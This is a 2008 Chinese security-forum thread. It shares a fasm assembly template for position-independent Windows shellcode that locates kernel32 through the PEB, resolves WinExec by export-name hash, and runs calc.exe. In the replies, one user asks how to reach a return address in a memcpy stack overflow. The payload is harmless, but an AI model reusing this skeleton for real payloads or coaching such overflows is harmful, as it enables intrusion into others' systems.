首页
社区
课程
招聘
[原创]fasm 写Shellcode实在太方便了
发表于: 2008-11-21 12:01 7141

[原创]fasm 写Shellcode实在太方便了

2008-11-21 12:01
7141
fasm 写Shellcode实在太方便了
编译选项:
shellcode -> fasm -d IsSc=1 sc.asm
exe          -> fasm -d IsSc=0 sc.asm

;sc.asm 代码

if IsSc=0
        format pe console
        entry ShellCodeTest
else
        use32
end if

include 'Win32AX.inc'

struc make_hash Args*
{
common local ..result, ..char, ..temp
        virtual at 0
                db Args
                ..result = 0x7C90EB94
                ..temp = 0
                repeat $
                        load ..char byte from % - 1
                        if ..char = 0
                                break
                        end if
                        ..temp   = (..temp and 0xffffff00) or ..char
                        ..temp   = ..temp shl 25 or ..temp shr 7
                        ..result = ..result xor ..temp
                end repeat
        end virtual
        .        dd (..result and 0xffffffff)
}

WinExec                make_hash        'WinExec'
calc_exe        db                'calc.exe',0

ShellCodeTest:
        stdcall        GetKrnl32
        stdcall        GetAddrByHash, eax, WinExec
        invoke        WinExec, calc_exe, 1
        ret

proc GetKrnl32
        mov        eax, [fs:30h]
        irp        offset, 0ch,1ch,00h,08h {mov eax, [eax+offset]}
        ret
endp

proc GetAddrByHash, hModule, lpApiHash
        pusha
        mov        edi, [lpApiHash]
        push        edi
        mov        edi, [edi]
        mov        ebp, [hModule]
        mov        eax, [ebp+3ch]
        mov        edx, [ebp+eax+78h]
        add        edx, ebp
        mov        ecx, [edx+18h]
        mov        ebx, [edx+20h]
        add        ebx, ebp
        push        edx
.search:
        dec        ecx
        mov        esi, [ebx+ecx*4]
        add        esi, ebp
        xor        eax, eax
        mov        edx, 7C90EB94h
.hash:
        ror        eax, 7
        xor        edx, eax
        lodsb
        test        al, al
        jnz        .hash
        cmp        edx, edi
        jne        .search
        pop        edx
        mov        ebx, [edx+24h]
        add        ebx, ebp
        mov        cx, [ebx+ecx*2]
        mov        ebx, [edx+1ch]
        add        ebx, ebp
        mov        eax, [ebx+ecx*4]
        add        eax, ebp
        pop        edi
        mov        [edi], eax
        popa
        ret
endp

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (12)
雪    币: 357
活跃值: (3433)
能力值: ( LV3,RANK:25 )
在线值:
发帖
回帖
粉丝
2
vc写的才叫方便
2008-11-21 13:22
0
雪    币: 249
活跃值: (10)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
3
http://bbs.pediy.com/showthread.php?t=65309
2008-11-21 15:48
0
雪    币: 248
活跃值: (42)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
看不出哪方便!
2008-11-23 21:32
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
白痴方便
白痴方便
白痴方便
2008-12-16 19:16
0
雪    币: 204
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
LZ能详细解释一下吗?
2008-12-16 19:33
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我上次遇见一个漏洞不知道怎么益出
3d fa 25 45 25 65 12 00 da ef es b5 12 54 6f 41
41 6f 54 12是函数返回地址
00 12 65 25 是一个函数内部指针
但是执行了memcpy后 是从3d 开始覆盖,如果要覆盖到返回地址(41 6f 54 12)那么前面的函数内部指针(00 12 65 25)也要被覆盖,该内部指针覆盖以后当然程序就不能正常运行 就不能执行到函数结束retn 那么我的shellcode该怎么安装呢?

请各位大大不吝赐教!谢谢
2008-12-19 13:01
0
雪    币: 212
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
我上次遇见一个漏洞不知道怎么益出
3d fa 25 45 25 65 12 00 da ef es b5 12 54 6f 41
41 6f 54 12是函数返回地址
00 12 65 25 是一个函数内部指针
但是执行了memcpy后 是从3d 开始覆盖,如果要覆盖到返回地址(41 6f 54 12)那么前面的函数内部指针(00 12 65 25)也要被覆盖,该内部指针覆盖以后当然程序就不能正常运行 就不能执行到函数结束retn 那么我的shellcode该怎么安装呢?

请各位大大不吝赐教!谢谢
2008-12-19 13:07
0
雪    币: 3
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
你这个指针是指到哪里去的?您没有说明白哦。
2009-5-1 17:23
0
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
我觉得还是用 vc _asm{}的最方便
2009-6-10 00:01
0
雪    币: 340
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
_asm 没法做动态crc32之类的活,还得单独计算;fasm可以直接生成shellcode确实方便,不过还是用masm顺手
2009-6-10 02:23
0
雪    币: 325
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
不 好 不 好
2009-7-5 17:42
0
雪    币: 325
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
再接着顶下 嘿嘿
2009-7-5 17:44
0
游客
登录 | 注册 方可回帖
返回
//